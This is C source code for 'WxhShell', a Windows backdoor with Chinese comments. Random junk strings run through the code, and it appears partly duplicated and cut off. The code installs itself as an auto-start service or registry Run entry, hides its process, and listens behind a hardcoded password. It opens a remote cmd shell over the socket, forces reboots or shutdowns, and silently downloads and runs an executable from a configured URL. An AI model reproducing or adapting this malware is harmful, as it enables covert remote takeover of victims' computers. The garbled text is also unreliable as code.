KH;e)91 HANDLE hProcess; eR/7*G5 PROCESS_BASIC_INFORMATION pbi; a4wh-35/ (n<xoV[e HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 46vz=# ,6L if(NULL == hInst ) return 0; 0ode&dB UX?_IgJh<" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0V^?~ex g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #E#70vWp\O NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -+L1Hid.7 ]OVjq? if (!NtQueryInformationProcess) return 0; by
{~gu \rpu=*gt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $j:0*Z=> if(!hProcess) return 0; JwO+Dd m*'#`v Ibb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %63<Iz" [\!S-: CloseHandle(hProcess); {E9Y)Z9 |89`O^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u!Z&c7kPI if(hProcess==NULL) return 0; i@2?5U>h |y]#-T?)t HMODULE hMod; xZkLN5I{ char procName[255]; n8?gZ` W unsigned long cbNeeded; |peZ`O^~ 3Ry?{m^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); th]9@7UE, D@2Tx CloseHandle(hProcess); xzy9~))o A`@we if(strstr(procName,"services")) return 1; // 以服务启动 f.,-KIiF 9+L!
A return 0; // 注册表启动 Q/< $ (Y } ;{>z\6N gAE}3// // 主模块 eC1cE int StartWxhshell(LPSTR lpCmdLine) '{J!5x?L^ { #hai3>9|B SOCKET wsl; Hi?],5,/ BOOL val=TRUE; E_h 9y int port=0; Cc=`:ED+ struct sockaddr_in door; 9 Hm!B )Y bC&_OU: if(wscfg.ws_autoins) Install(); _+UD>u{ MPT[f port=atoi(lpCmdLine); X1+Wb9P -i58FJ`B if(port<=0) port=wscfg.ws_port; $N+azal+y Xdjxt?* WSADATA data; *bZV4} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !D1F4v[c= RY*6TYX! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I3SLR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gSP|;Gy
door.sin_family = AF_INET; xbIxtZm door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2lGq6Au: door.sin_port = htons(port); }C) JK_sl>v.7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nOOA5Gz closesocket(wsl); -8-Aqh8| return 1; ^7(zoUn: } aeSXHd?+( FO*Py)/rX if(listen(wsl,2) == INVALID_SOCKET) { Nf3L closesocket(wsl); 0BD3~Lv return 1; ed&, } MJK L4 G Wxhshell(wsl); JL]6o8x WSACleanup(); *s_)E2 Xh){W~- return 0; .>&kAf. u{I)C0 } B&tl6?7h $ZE OE8.\ // 以NT服务方式启动 ]92@&J0w VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 27;*6/>, { &!~q#w1W-5 DWORD status = 0; e`Yx]3;u( DWORD specificError = 0xfffffff; )u<sEF aG,N>0k8 serviceStatus.dwServiceType = SERVICE_WIN32; NK d8XQ=% serviceStatus.dwCurrentState = SERVICE_START_PENDING; #A?U_32z/2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a?@j`@]ZR~ serviceStatus.dwWin32ExitCode = 0; kRG-~'f%` serviceStatus.dwServiceSpecificExitCode = 0; 37{mhU serviceStatus.dwCheckPoint = 0; \p.ku%{ serviceStatus.dwWaitHint = 0; 0e3aWn C#(4>' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V"
I+E if (hServiceStatusHandle==0) return; QarA.Ne~ RM,r0Kv17Y status = GetLastError(); 3pm;?6i6 if (status!=NO_ERROR) " >;},$ { L7 qim.J serviceStatus.dwCurrentState = SERVICE_STOPPED; AWGeK-^ serviceStatus.dwCheckPoint = 0; pi+m`O serviceStatus.dwWaitHint = 0; 1 [dza5 serviceStatus.dwWin32ExitCode = status; =`g+3
O;< serviceStatus.dwServiceSpecificExitCode = specificError; n;4`IK| SetServiceStatus(hServiceStatusHandle, &serviceStatus); eja_+`cJ return; z$;z&X$j } ~g)gXPjke oc>,5 x serviceStatus.dwCurrentState = SERVICE_RUNNING; M,:GMO:?a serviceStatus.dwCheckPoint = 0; J,k9?nkY / serviceStatus.dwWaitHint = 0; ;Cm%<vW4! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7LKNEll } y~;Kf0~ 'R?;T[s% // 处理NT服务事件,比如:启动、停止 KUZ'$oKg VOID WINAPI NTServiceHandler(DWORD fdwControl) "5]GEzM3O { ^O4.$4t| switch(fdwControl) 2,'m]`;GNr { l3-;z)SgH case SERVICE_CONTROL_STOP: k.?b2]@$ serviceStatus.dwWin32ExitCode = 0; Q+gQ"l,95 serviceStatus.dwCurrentState = SERVICE_STOPPED; a+IU<O-J? serviceStatus.dwCheckPoint = 0; #O qfyY! serviceStatus.dwWaitHint = 0; @ScH"I];uA { Id|38 SetServiceStatus(hServiceStatusHandle, &serviceStatus); <SOC } 7>v1w:cC] return; -bduB@#2d case SERVICE_CONTROL_PAUSE: W|;
.G9 serviceStatus.dwCurrentState = SERVICE_PAUSED; vY:A7yGW break; h9RG?r1 case SERVICE_CONTROL_CONTINUE: O0c#-K.f serviceStatus.dwCurrentState = SERVICE_RUNNING;
oj[Wzeg% break; a";(C,:0 case SERVICE_CONTROL_INTERROGATE: ma vc$!y break; 4Rp2 }; h@t&n@8O? SetServiceStatus(hServiceStatusHandle, &serviceStatus); }n oI2.-# } UC3?XoT\ WTZP}p1 // 标准应用程序主函数 j;)U5X int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) do C8! { >kd&>)9v O8r9&Nv // 获取操作系统版本 H5{d;L1[ OsIsNt=GetOsVer(); SX$v&L< GetModuleFileName(NULL,ExeFile,MAX_PATH); c{7!:hi`x %5NfF65' // 从命令行安装 TnCN2#BO if(strpbrk(lpCmdLine,"iI")) Install(); l+Uy >y
&9!G // 下载执行文件 k7W7S`H
if(wscfg.ws_downexe) { X~G!{TT_x6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &%$r3ePwc WinExec(wscfg.ws_filenam,SW_HIDE); $-EbJ } _T7tq wZ5+ H%x if(!OsIsNt) { |#Z:v1]" // 如果时win9x,隐藏进程并且设置为注册表启动 Ir }r98lz HideProc(); ,?P @ :S<8 StartWxhshell(lpCmdLine); %70sS].@ } )E'iC else g,@0 ;uVq if(StartFromService()) ;3-5U&Axt // 以服务方式启动 Re0ma%~LP StartServiceCtrlDispatcher(DispatchTable); ECWn/4Aws else kTL{?- // 普通方式启动 : ) SLi StartWxhshell(lpCmdLine); bO^#RVH 5V Dqx@( return 0; pc
J5UJY } !
jm> oDXUa5x }PTYNidlR RHZ5f0b4L =========================================== ri<E[8\ 1D sgU6" a2 e-Q({ N=YRYUo s+8
v7ZJ 3i/$YX5@ " <b~KR8 %qfql #include <stdio.h> mx y> #include <string.h> G'{$$+U^K #include <windows.h> mp:%k\cF| #include <winsock2.h> 7y1J69IK #include <winsvc.h> mzLDZ#=b #include <urlmon.h> I9-vV>:z Y9F!HM-` #pragma comment (lib, "Ws2_32.lib") KWq7M8mq #pragma comment (lib, "urlmon.lib") n[H3b} hiZE8?0+~N #define MAX_USER 100 // 最大客户端连接数 eQbDs_ #define BUF_SOCK 200 // sock buffer q90eB6G0g #define KEY_BUFF 255 // 输入 buffer L1
1/XpR (iXo\y`z #define REBOOT 0 // 重启 N:[22`NP #define SHUTDOWN 1 // 关机 T0J"Wr>WY M.iR5Uh #define DEF_PORT 5000 // 监听端口 {f3&s4xj= VHGOVH, #define REG_LEN 16 // 注册表键长度 Hr |De8#f #define SVC_LEN 80 // NT服务名长度 k>I[U}h 9=p^E# d // 从dll定义API mf^=tZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B`3RyM"J @ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Y`cgi0vkd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ![YLY&}s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tt2`N3Eu\ +P2f<~ // wxhshell配置信息 }u8o *P|, struct WSCFG { 484lB}H int ws_port; // 监听端口 mojD char ws_passstr[REG_LEN]; // 口令 >DeG//rv int ws_autoins; // 安装标记, 1=yes 0=no P$?3\`U; char ws_regname[REG_LEN]; // 注册表键名 20h|e+3 char ws_svcname[REG_LEN]; // 服务名 ?&W1lYY char ws_svcdisp[SVC_LEN]; // 服务显示名 c%%r char ws_svcdesc[SVC_LEN]; // 服务描述信息 xs_l+/cZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zA4m !l*eM int ws_downexe; // 下载执行标记, 1=yes 0=no BQq,,i8H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bU9B2'%E char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;gfY_MXnF JDrh-6Zgj }; #-?pY"N, )xYv$6= // default Wxhshell configuration m22M[L(q struct WSCFG wscfg={DEF_PORT, 28J
;9 "xuhuanlingzhe", 4)./d2/E 1, bI/d(Q%#< "Wxhshell", H7bdL 8/ "Wxhshell", iTJSW "WxhShell Service", t>p!qKrE'J "Wrsky Windows CmdShell Service", g"gh2#!D "Please Input Your Password: ", iLiEh2%P 1, teh$W<C "http://www.wrsky.com/wxhshell.exe", jsL\{I^> "Wxhshell.exe" HL-zuZa`Ju }; 9N5ptdP.d 9Ps[i)- // 消息定义模块 ihivJZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *<?or"P char *msg_ws_prompt="\n\r? for help\n\r#>"; #
~SuL3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vcTWe$;Q char *msg_ws_ext="\n\rExit."; *ILx-D5qr char *msg_ws_end="\n\rQuit."; h$7rEs char *msg_ws_boot="\n\rReboot..."; oxT..=- char *msg_ws_poff="\n\rShutdown..."; h>V8YJ char *msg_ws_down="\n\rSave to "; O]rAo #n&/yYl9(l char *msg_ws_err="\n\rErr!"; 6z3 Yq{1 char *msg_ws_ok="\n\rOK!"; ma@3BiM dXR70/ char ExeFile[MAX_PATH]; .zxP,]"l int nUser = 0; aVsA5t\zi HANDLE handles[MAX_USER]; ip6$Z3[) int OsIsNt; oo sbf#V _):V7Zv SERVICE_STATUS serviceStatus; Pl(+&k`} SERVICE_STATUS_HANDLE hServiceStatusHandle; n46A @*SgeLeL // 函数声明 +mP&B<=H) int Install(void); mv9k_7< int Uninstall(void); YYfX@`\
int DownloadFile(char *sURL, SOCKET wsh); S0?4}7`A int Boot(int flag); pGEYke NU void HideProc(void); ,Y
1&[ int GetOsVer(void); ` QC int Wxhshell(SOCKET wsl); Qx{k_ye`
void TalkWithClient(void *cs); *PQu9>1w int CmdShell(SOCKET sock); v,z s
dr"d int StartFromService(void); %Ci`OhT int StartWxhshell(LPSTR lpCmdLine); Z^? 1MJ:` 0?kaXD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wcz|Zy VOID WINAPI NTServiceHandler( DWORD fdwControl ); pm$ZKM |tL57Wu93 // 数据结构和表定义 tj:3R$a SERVICE_TABLE_ENTRY DispatchTable[] = ANB@cK_ { \\;i
{wscfg.ws_svcname, NTServiceMain}, 242dT/j {NULL, NULL} z~tCag8I(k }; rUZRYF4C <WXO].^ // 自我安装 U^jxKBq^ int Install(void) 9$[I~I#z { qFEGV+ char svExeFile[MAX_PATH]; ~P&Brn"=Rs HKEY key; .KiJq:$H strcpy(svExeFile,ExeFile); F\&Sn1>k =2&/Cn4 // 如果是win9x系统,修改注册表设为自启动 VxD_:USIF if(!OsIsNt) { n#@/A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h%'4V<V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ShXk\" RegCloseKey(key); %jaB>4.A: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~x<nz/^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `m2e
* RegCloseKey(key); 52+;j[ ]/O return 0; jwsl"zL } w`Q"m x* } 0Y rdu,c } 9=,^^,q else { !e~Yp0gX# K:PzR,nn // 如果是NT以上系统,安装为系统服务 scmn-4j'{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }$DLa#\- if (schSCManager!=0) @**@W[EM { a& >(*PQ SC_HANDLE schService = CreateService ua$H"(#c ( |,zcrOo] schSCManager, hw[ jVx wscfg.ws_svcname, +$]eA'Bh@ wscfg.ws_svcdisp, TBq;#+1W SERVICE_ALL_ACCESS, $@m)8T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;8WgbR)ZLU SERVICE_AUTO_START, qyXx`'e SERVICE_ERROR_NORMAL, !'uLV#YEZ svExeFile, G9?6qb: NULL, ^X2U
A{ NULL, u{%gB&nC NULL, Fv!zS.)` NULL, /8!s
C D NULL 5#jna9Xc ); HN'r
ZAZ( if (schService!=0) =)Z!qjf1U { Z4S0{:XY CloseServiceHandle(schService); eIVCg-l} CloseServiceHandle(schSCManager); X8!=Xjl) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7%rSo^t,L strcat(svExeFile,wscfg.ws_svcname); /Mq]WXq[V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D>& ;K{! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vp3
9`m-W RegCloseKey(key); eF8!}|*N return 0; )9_jr(s } uQy5t:! } %9.]
bd|%F CloseServiceHandle(schSCManager); KX*Hev'K } $`q8-+{ } a
}6Fj&hj KM$5ZbCF: return 1; ?VM# Nf\ } z-(#Mlq:! .H1kl)~V // 自我卸载 nnBgTtsC] int Uninstall(void) V\axOz! { hK=\O) HKEY key; ESOuDD2< <0[{Tn if(!OsIsNt) { ]:* 8
Mb# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n^QOGT.s6` RegDeleteValue(key,wscfg.ws_regname); bDdJh}Vz RegCloseKey(key); >`rK=?12< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }qUNXE@ RegDeleteValue(key,wscfg.ws_regname); 6bL+q`3> RegCloseKey(key); ; n2|pC^ return 0; YT;b$>1v } 3#>;h } U^_'e_) } /'|'3J]HP else { m35Blg34 A`4Di8'Me SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KMz\h2X if (schSCManager!=0) |_l\. { >V~q`htth SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Z$`c{V< if (schService!=0) U\S%Jq* { \jn[kQ+pJ if(DeleteService(schService)!=0) { <j1l&H|ux, CloseServiceHandle(schService); a,Gd\.D CloseServiceHandle(schSCManager); gi`K^L=C return 0; 4XL*e+UfJ } ]2n&DJu CloseServiceHandle(schService); t+0&B" } f~Dl;f~H_; CloseServiceHandle(schSCManager); cvn4Q- ^ } \GtZX!0 } |(Zv
g}c_ '<
OB
j return 1; H~-zq}4 } RVN"lDGA 2,Y8ML< // 从指定url下载文件 N"|^AF int DownloadFile(char *sURL, SOCKET wsh) sr\l z}JW { STgl{# HRESULT hr; Kb0OauW char seps[]= "/"; ~CRr)(M char *token; a/+tsbw char *file; k4_Fn61J/ char myURL[MAX_PATH]; "s$v?voo char myFILE[MAX_PATH]; 1Giy|;2/ L K9vvQz strcpy(myURL,sURL); ]*{QVn( token=strtok(myURL,seps); P,RCbPC4 while(token!=NULL) g#ZR,q { 'l\V{0;mp file=token; `gqBJi token=strtok(NULL,seps); 9vL`|`Vau } &Pt| EWN$ILdD GetCurrentDirectory(MAX_PATH,myFILE); .<v0y"amJ strcat(myFILE, "\\"); bG+p strcat(myFILE, file); '#<?QE!d2 send(wsh,myFILE,strlen(myFILE),0); x]%e_ send(wsh,"...",3,0); z Q
NL){ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]sO}) if(hr==S_OK) "}DuAs return 0; JGIN<J85e else ~\hA-l36 return 1; k%QhF] t~p9iGX< } zW%-Z6%D !mpRLBH // 系统电源模块 JGZ,5RTq4- int Boot(int flag) xMtl<Na
{ ?n/:1LN, HANDLE hToken; h 88iZK TOKEN_PRIVILEGES tkp; f(DGC2R
< yhEU*\: if(OsIsNt) { V_U$JKJ1= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q
/|<>s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yY*OAC tkp.PrivilegeCount = 1; D@qq=M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]M{SM`Ya AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -;T>4B= if(flag==REBOOT) { 2uw%0r3Vi6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n4)G g~PE return 0; ;^:~xJFx| }
N`y!Km
else { \~xsBPX+x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .CI]8O"3y return 0; ~=%eOoZP;c } uW4G!Kw28 } D>c%5h else { =(*Eh=Pw if(flag==REBOOT) { `e~/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :RHNV return 0; PiI ):B> } r0QjCFSF= else { FqsG#6|x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3z:
rUhA return 0; qYIBP?`g } EBw}/y{Kt } )aquf<u@ u4$d#0sA return 1; dT,X8 " } i[d-n/) KBzEEvx/$ // win9x进程隐藏模块 6luCi$bL void HideProc(void) )QaJYC^+ { m*P~X*St 9R>A,x( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /j
-LW1:N if ( hKernel != NULL ) i1vBg}WHN { n5UcivyX
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (W3R3>; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); abD55YJY FreeLibrary(hKernel); ;eG%#=> } bm%2K@ /U 8[f]9P/i return; xQ1&j,R] } ;^}cZ lZ^XZjwoM // 获取操作系统版本 2K,
1wqf' int GetOsVer(void) [$.oyjd { H|F>BjXn5 OSVERSIONINFO winfo; \R&`bAd k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K]@6&H-b| GetVersionEx(&winfo); 2|EHNy! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BAmH2" return 1; 6$SsdT|8B else D8`,PXtV return 0; zfi{SO
l } M0c"wi@S_ 5/:Zj,41{ // 客户端句柄模块 ICq;jf ML int Wxhshell(SOCKET wsl) Dr(.|)hv[& { ,n &|+& SOCKET wsh; !bH-(K{S6 struct sockaddr_in client; `U p<; DWORD myID; JEY%(UR8 sF_.9G)S0 while(nUser<MAX_USER) "TtK!>!. { a+\Gz int nSize=sizeof(client); ~<v`&Gm?" wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ? ]kIztH if(wsh==INVALID_SOCKET) return 1; 4,H}'@Db} FjiLc=RXXz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }}t"^m s if(handles[nUser]==0) BT d$n!'$n closesocket(wsh); j(nPWEyJM else ]}>GUXe)^ nUser++; <%pi*:E| } jE2ziK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J[LGa:`` axU!o /m> return 0; aeSy,: } J>hl&J seAkOIc // 关闭 socket sS5#Q void CloseIt(SOCKET wsh) nkN]z
^j { EW2e k^ closesocket(wsh); e;rs!I!Yw nUser--; y*Ex5N~JC ExitThread(0); PK3T@Qv89 } +|#sF,,X4g 1Lj\"+. // 客户端请求句柄 IeN!nK- void TalkWithClient(void *cs) ( Y/
DMQ { ,iSs2&$m 'kW`62AX SOCKET wsh=(SOCKET)cs; 7
hnTHL char pwd[SVC_LEN]; F;q I^{m2 char cmd[KEY_BUFF]; .^JID~<?# char chr[1]; ?0'bf y] int i,j; |C>Yd*E,C H7qda'%> while (nUser < MAX_USER) { VJ_E]}H 9Eg'=YJ if(wscfg.ws_passstr) { Wt8;S$!=R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LfgR[! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dhm; //ZeroMemory(pwd,KEY_BUFF); A
FfgGO i=0; ?1PY]KNaK while(i<SVC_LEN) { NTAPx=!1* C:4h // 设置超时 Zls4@/\Q fd_set FdRead; ?r'b
Z~ struct timeval TimeOut;
:
]
Y= FD_ZERO(&FdRead); lZn <v'y FD_SET(wsh,&FdRead); qY14LdC}~ TimeOut.tv_sec=8; {R1jysGtD TimeOut.tv_usec=0; Z8'uZ#=Yw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >-)i_C2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z)|56
F7' r T*:1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); []LNNO],X pwd=chr[0]; *"9b?`E if(chr[0]==0xd || chr[0]==0xa) { 0JNG\ARC pwd=0; >xP $A{ break; 7z%zXDe~T[ }
ZfvFs i++; uE5kL{Fv } rxa8X wo8 _HGDqjL // 如果是非法用户,关闭 socket MHxv@1)K|Y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I9>1WT<Yy } .4KXe"~E Y=}b/[s6; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4|++0=#D$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /5yWvra N{Is2Ia while(1) { 5,?9#n\E, kv(N/G ZeroMemory(cmd,KEY_BUFF); /1MO]u\ -u{k // 自动支持客户端 telnet标准 Q'Q+mt8u5 j=0; |n6nRE wW while(j<KEY_BUFF) { vaK$j!%FE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rm"bplLZA cmd[j]=chr[0]; w
#1l)+ if(chr[0]==0xa || chr[0]==0xd) { 25YJH1x cmd[j]=0; vV=$N"bT~ break; rvr Ok } dnNc,l&g j++; E}1[& } 5jYRIvM[Q~ Ah)7A|0rT // 下载文件 WfO6Fvx% if(strstr(cmd,"http://")) { F*I{?NRN1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); xQJdt$]U@ if(DownloadFile(cmd,wsh)) 26\1tOj Np send(wsh,msg_ws_err,strlen(msg_ws_err),0); z
^a,7}4 else Y%wF;I1x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >nl*aN } x%x[5.CT else { im1]:kr7 c]xpp;% ] switch(cmd[0]) { KgKV(q= o'D6lkf0 // 帮助 0V`/oaW; case '?': { TH6g:YP`7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KUuwScb\ break; k87B+0QEL } -M[5K/[ // 安装 k`TEA?RfQ case 'i': { yl3iU:+V if(Install()) t0?BU~f send(wsh,msg_ws_err,strlen(msg_ws_err),0); -JUv'fk else 0 ]NsT0M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C(?lp break; `9$?g|rB } K<|eZhp~ // 卸载 n|^-qy'w case 'r': { YR[Ii? if(Uninstall()) 0HG*KW send(wsh,msg_ws_err,strlen(msg_ws_err),0); e@X~F6nP else O'5(L9, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B VPf8!- break; KQr=;O\T } 5(U.< // 显示 wxhshell 所在路径 \6@}HFH case 'p': { <cWo]T`X! char svExeFile[MAX_PATH]; $wX5`d1 strcpy(svExeFile,"\n\r"); ^s24f?3 strcat(svExeFile,ExeFile); Iem* 'r send(wsh,svExeFile,strlen(svExeFile),0); N 4,w break; u2U@Qrs2 } f Z \Ev%F // 重启 |/r@z[t case 'b': { ];Z_S`JR send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y)(@ if(Boot(REBOOT)) rtUdL,Hx send(wsh,msg_ws_err,strlen(msg_ws_err),0); G-}
zkax else { !)&-\!M> closesocket(wsh); 6NZf!7,B ExitThread(0); &G'R{s&" } =@ON>SmPs break; flmcY7ZV } ,~G[\2~p // 关机 uswz@
[pa case 'd': { l kl#AH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,cbP yg if(Boot(SHUTDOWN)) w|$;$a7) send(wsh,msg_ws_err,strlen(msg_ws_err),0); JXvHsCd? else { &=s{ +0 closesocket(wsh); r%xNfTa ExitThread(0); dn`#N^Od } (T`x-wTl break; k"L_0HK } SZyPl9.b // 获取shell 6o6m"6 case 's': { Ob(j_{m CmdShell(wsh); -8TJ~t%w4 closesocket(wsh); T>LtN ExitThread(0); Q0M8} break; -|ee=BV } 1zl@$ Nt // 退出 Wc+ e>* case 'x': { r5F#q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U>:p`@ CloseIt(wsh); A}oR,$D- break; cvc.-7IO } 'MC)%N, // 离开 j[=f;&1 case 'q': { h3JIiwv0! send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0eb`9yM closesocket(wsh); 9]kWM]B)o WSACleanup(); )DoY*'Cl exit(1); t,RR\S break; QMkLAZ } mWka!lT } BfhOe~+i } 1FY^_dvH F v(zql // 提示信息 7eu7ie6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EI/_=.d } g:OVAA } xx41Qw>\W _YbHnb return; hQX|wWh } /~AajLxu3W P:CwC"z>sS // shell模块句柄 L18Olu int CmdShell(SOCKET sock) #<l;YT8 { @n})oAC, STARTUPINFO si; d)q{s(<; ZeroMemory(&si,sizeof(si)); b}k`'++2, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "*TnkFTR si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =k0l>) PROCESS_INFORMATION ProcessInfo; +fKLCzj char cmdline[]="cmd"; o>j3<#? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I,q3J1K return 0; -+c_TJ.dC } *jDzh;H!w >5XE*9 // 自身启动模式 Xf$,ra" int StartFromService(void) kbOo;<X9A { VE{t]>*-u typedef struct \t )Zk2 { c)lMi}/ DWORD ExitStatus; CJ%7M`zy DWORD PebBaseAddress; qzV:N8+,` DWORD AffinityMask; r)h+pga5^E DWORD BasePriority; zJtYy4jI) ULONG UniqueProcessId; -LQ%)'J ZN ULONG InheritedFromUniqueProcessId; 'fZHtnmc0 } PROCESS_BASIC_INFORMATION; {AQ3y,sh Y$%Ze]~ PROCNTQSIP NtQueryInformationProcess; 4xg%OH _.\p^ HM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NlWIb2, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \}G/F! D(L%fK` + HANDLE hProcess; %hOe `2#$ PROCESS_BASIC_INFORMATION pbi; &{l?j>|TM (}c}=V HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `ZNzDr if(NULL == hInst ) return 0; M-0BQs`N v')T^b
F@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~
dmyS?Or g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o- GHAQ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @u$4{sjgf\ /|hKZTZJdN if (!NtQueryInformationProcess) return 0; _H@S(!
uvZ|6cM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jf4D">h if(!hProcess) return 0; `"/@LUso 6Pd;I,k if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pm
